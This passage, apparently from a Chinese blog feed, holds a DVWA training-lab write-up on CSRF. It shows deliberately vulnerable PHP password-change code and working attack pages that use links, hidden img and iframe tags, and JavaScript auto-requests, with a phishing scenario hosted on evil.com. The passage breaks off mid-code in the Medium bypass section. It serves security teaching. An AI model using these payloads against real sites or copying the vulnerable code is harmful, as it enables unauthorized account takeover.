Suite)</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>学习是为了加强网站安全</li><li>帮助网站实施正确的CSP策略</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - CSRF (跨站请求伪造) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/CSRF_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/CSRF_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:29:06.455Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是CSRF（Cross-Site-Request-Forgery）？"><a href="#什么是CSRF（Cross-Site-Request-Forgery）？" class="headerlink" title="什么是CSRF（Cross-Site Request Forgery）？"></a>什么是CSRF（Cross-Site Request Forgery）？</h3><p>CSRF是一种攻击方式，攻击者诱导受害者在已登录的Web应用程序上执行非本意的操作。</p><p><strong>攻击原理：</strong></p><ol><li>受害者登录了目标网站A（如网银）</li><li>浏览器保存了网站A的Cookie</li><li>受害者访问攻击者构造的恶意网站B</li><li>恶意网站B向网站A发起请求</li><li>浏览器自动带上网站A的Cookie</li><li>网站A认为是合法请求，执行操作</li></ol><p><strong>危害：</strong></p><ul><li>修改用户密码</li><li>转账汇款</li><li>修改个人资料</li><li>发送恶意邮件</li><li>购买商品</li><li>删除数据</li></ul><p><strong>与XSS的区别：</strong></p><ul><li>XSS：注入恶意代码在目标网站执行</li><li>CSRF：利用用户的登录状态发起请求</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>无任何CSRF防护的密码修改功能。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了修改密码的请求</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否已设置且非NULL</span></span><br><span class="line"><span class="comment">// $_GET - 从URL参数获取数据</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取新密码和确认密码</span></span><br><span class="line">    <span class="comment">// $_GET[ &#x27;password_new&#x27; ] - 新密码</span></span><br><span class="line">    <span class="comment">// $_GET[ &#x27;password_conf&#x27; ] - 确认密码</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题1：只检查两次输入是否一致，不验证旧密码 ★★★</span></span><br><span class="line">    <span class="comment">// == - 比较运算符，判断两个值是否相等</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 两次密码输入一致</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 对密码进行MD5哈希</span></span><br><span class="line">        <span class="comment">// md5() - 将字符串转换为32位十六进制MD5哈希值</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 问题2：SQL注入漏洞 - 直接拼接变量 ★★★</span></span><br><span class="line">        <span class="comment">// $_SESSION[ &#x27;username&#x27; ] - 从session获取当前登录用户名</span></span><br><span class="line">        <span class="comment">// 这里存在SQL注入风险（虽然session相对可信）</span></span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 构建SQL更新语句</span></span><br><span class="line">        <span class="comment">// UPDATE - SQL更新命令</span></span><br><span class="line">        <span class="comment">// SET password = &#x27;$pass_new&#x27; - 设置新密码</span></span><br><span class="line">        <span class="comment">// WHERE user = ... - 指定要更新的用户</span></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 执行SQL查询</span></span><br><span class="line">        <span class="comment">// mysql_query() - 执行MySQL查询（已废弃）</span></span><br><span class="line">        <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出成功信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 两次密码输入不一致</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出错误信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Passwords did not match.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>使用GET请求</strong> - 敏感操作应该用POST</li><li><strong>无CSRF Token</strong> - 无法验证请求来源</li><li><strong>无验证码</strong> - 可以自动化攻击</li><li><strong>不验证旧密码</strong> - 只要用户登录就能改密码</li><li><strong>无Referer检查</strong> - 不验证请求来源页面</li></ol><p><strong>攻击条件：</strong></p><ul><li>受害者已登录DVWA</li><li>受害者访问攻击者页面</li><li>浏览器会自动发送Cookie</li></ul><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="方法1：构造恶意链接"><a href="#方法1：构造恶意链接" class="headerlink" title="方法1：构造恶意链接"></a>方法1：构造恶意链接</h4><p><strong>步骤1：分析正常请求</strong></p><p>正常修改密码的URL：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>vulnerabilities<span class="regexp">/csrf/</span>?password_new=<span class="number">123456</span>&amp;password_conf=<span class="number">123456</span>&amp;Change=Change</span><br></pre></td></tr></table></figure><p><strong>步骤2：创建攻击页面</strong></p><p>创建 <code>csrf_attack.html</code>：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>恭喜中奖！<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>恭喜您中奖了！<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>点击下方按钮领取奖品<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- ★★★ 恶意链接：修改DVWA密码 ★★★ --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&amp;password_conf=hacked&amp;Change=Change&quot;</span>&gt;</span></span><br><span class="line">        领取奖品</span><br><span class="line">    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>步骤3：诱导用户点击</strong></p><ol><li>受害者已登录DVWA</li><li>受害者点击”领取奖品”链接</li><li>浏览器向DVWA发送请求（自动带上Cookie）</li><li>DVWA认为是合法请求，修改密码为”hacked”</li><li>受害者密码被修改，但可能不知情</li></ol><h4 id="方法2：自动攻击（无需点击）"><a href="#方法2：自动攻击（无需点击）" class="headerlink" title="方法2：自动攻击（无需点击）"></a>方法2：自动攻击（无需点击）</h4><p>使用图片标签自动发起请求：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>热门新闻<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>今日头条<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>正在加载内容...<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- ★★★ 隐藏的攻击：使用img标签 ★★★ --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 浏览器加载页面时会自动请求img的src --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 用户完全不知情！ --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&amp;password_conf=hacked&amp;Change=Change&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">width</span>=<span class="string">&quot;0&quot;</span> <span class="attr">height</span>=<span class="string">&quot;0&quot;</span> <span class="attr">border</span>=<span class="string">&quot;0&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display:none;&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>原理：</strong></p><ul><li>浏览器加载页面时自动请求图片</li><li>即使是GET请求，浏览器也会发送</li><li>Cookie自动附加</li><li>用户完全不知道发生了什么</li></ul><h4 id="方法3：使用iframe隐藏攻击"><a href="#方法3：使用iframe隐藏攻击" class="headerlink" title="方法3：使用iframe隐藏攻击"></a>方法3：使用iframe隐藏攻击</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>正常网页<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>欢迎访问我的博客<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>这里是一些有趣的内容...<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!-- ★★★ 使用iframe隐藏攻击 ★★★ --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=pwned&amp;password_conf=pwned&amp;Change=Change&quot;</span></span></span><br><span class="line"><span class="tag">            <span class="attr">width</span>=<span class="string">&quot;0&quot;</span> <span class="attr">height</span>=<span class="string">&quot;0&quot;</span> <span class="attr">frameborder</span>=<span class="string">&quot;0&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display:none;&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：使用JavaScript自动提交"><a href="#方法4：使用JavaScript自动提交" class="headerlink" title="方法4：使用JavaScript自动提交"></a>方法4：使用JavaScript自动提交</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>加载中...<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>页面加载中，请稍候...<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ★★★ JavaScript自动发起请求 ★★★</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 页面加载完成后自动执行</span></span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">window</span>.<span class="property">onload</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 创建img元素</span></span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">var</span> img = <span class="keyword">new</span> <span class="title class_">Image</span>();</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 设置src，浏览器会自动发送GET请求</span></span></span><br><span class="line"><span class="language-javascript">            img.<span class="property">src</span> = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/csrf/?password_new=hacked&amp;password_conf=hacked&amp;Change=Change&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 请求完成后重定向到正常页面（掩盖踪迹）</span></span></span><br><span class="line"><span class="language-javascript">            <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">href</span> = <span class="string">&quot;http://www.example.com&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;, <span class="number">1000</span>);</span></span><br><span class="line"><span class="language-javascript">        &#125;;</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="实战演示"><a href="#实战演示" class="headerlink" title="实战演示"></a>实战演示</h3><p><strong>完整攻击流程：</strong></p><ol><li><p><strong>攻击者准备</strong></p><ul><li>创建 csrf_attack.html</li><li>上传到自己的服务器 <a href="http://evil.com/csrf_attack.html">http://evil.com/csrf_attack.html</a></li></ul></li><li><p><strong>诱导受害者</strong></p><ul><li>发送邮件：”您有一份重要文件待查看：<a href="http://evil.com/csrf_attack.html&quot;">http://evil.com/csrf_attack.html&quot;</a></li><li>社交网络分享</li><li>论坛发帖</li></ul></li><li><p><strong>受害者操作</strong></p><ul><li>已登录DVWA（Cookie有效）</li><li>点击链接访问 evil.com&#x2F;csrf_attack.html</li><li>页面自动加载，发送恶意请求</li></ul></li><li><p><strong>攻击完成</strong></p><ul><li>DVWA密码被改为”hacked”</li><li>攻击者可以用新密码登录</li><li>受害者可能很久才发现</li></ul></li></ol><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了Referer检查，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了修改密码的请求</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：检查Referer头部 ★★★</span></span><br><span class="line">    <span class="comment">// $_SERVER[&#x27;HTTP_REFERER&#x27;] - HTTP Referer头，表示请求来源页面</span></span><br><span class="line">    <span class="comment">// 浏览器会自动设置这个值，表示从哪个页面跳转过来的</span></span><br><span class="line">    <span class="comment">// stripos() - 查找字符串首次出现的位置（不区分大小写）</span></span><br><span class="line">    <span class="comment">// 参数1：被搜索的字符串（Referer）</span></span><br><span class="line">    <span class="comment">// 参数2：要查找的字符串（服务器名）</span></span><br><span class="line">    <span class="comment">// 返回值：找到返回位置（&gt;= 0），未找到返回false</span></span><br><span class="line">    <span class="comment">// !== false - 严格不等于false（必须找到）</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">stripos</span>( <span class="variable">$_SERVER</span>[ <span class="string">&#x27;HTTP_REFERER&#x27;</span> ] ,<span class="variable">$_SERVER</span>[ <span class="string">&#x27;SERVER_NAME&#x27;</span> ]) !== <span class="literal">false</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Referer包含服务器名，认为是合法请求</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取新密码</span></span><br><span class="line">        <span class="variable">$pass_new</span>  = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">        <span class="variable">$pass_conf</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证两次密码是否一致</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// MD5加密</span></span><br><span class="line">            <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 转义特殊字符</span></span><br><span class="line">            <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">            <span class="variable">$pass_new</span> = <span class="title function_ invoke__">mysql_real_escape_string</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 更新密码</span></span><br><span class="line">            <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">            <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Passwords did not match.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ Referer检查失败 ★★★</span></span><br><span class="line">        <span class="comment">// 输出错误信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;That request didn&#x27;t look correct.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>Referer检查</strong> - 验证请求是否来自本站</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li><strong>Referer可以伪造</strong> - 浏览器可以设置</li><li><strong>检查不严格</strong> - 只检查是否包含服务器名</li><li><strong>仍使用GET请求</strong></li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：文件名包含目标域名"><a href="#方法1：文件名包含目标域名" class="headerlink" title="方法1：文件名包含目标域名"></a>方法1：文件名包含目标域名</h4><p><strong>原理：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 代码检查</span></span><br><span class="line"><span class="title function_ invoke__">stripos</span>(<span 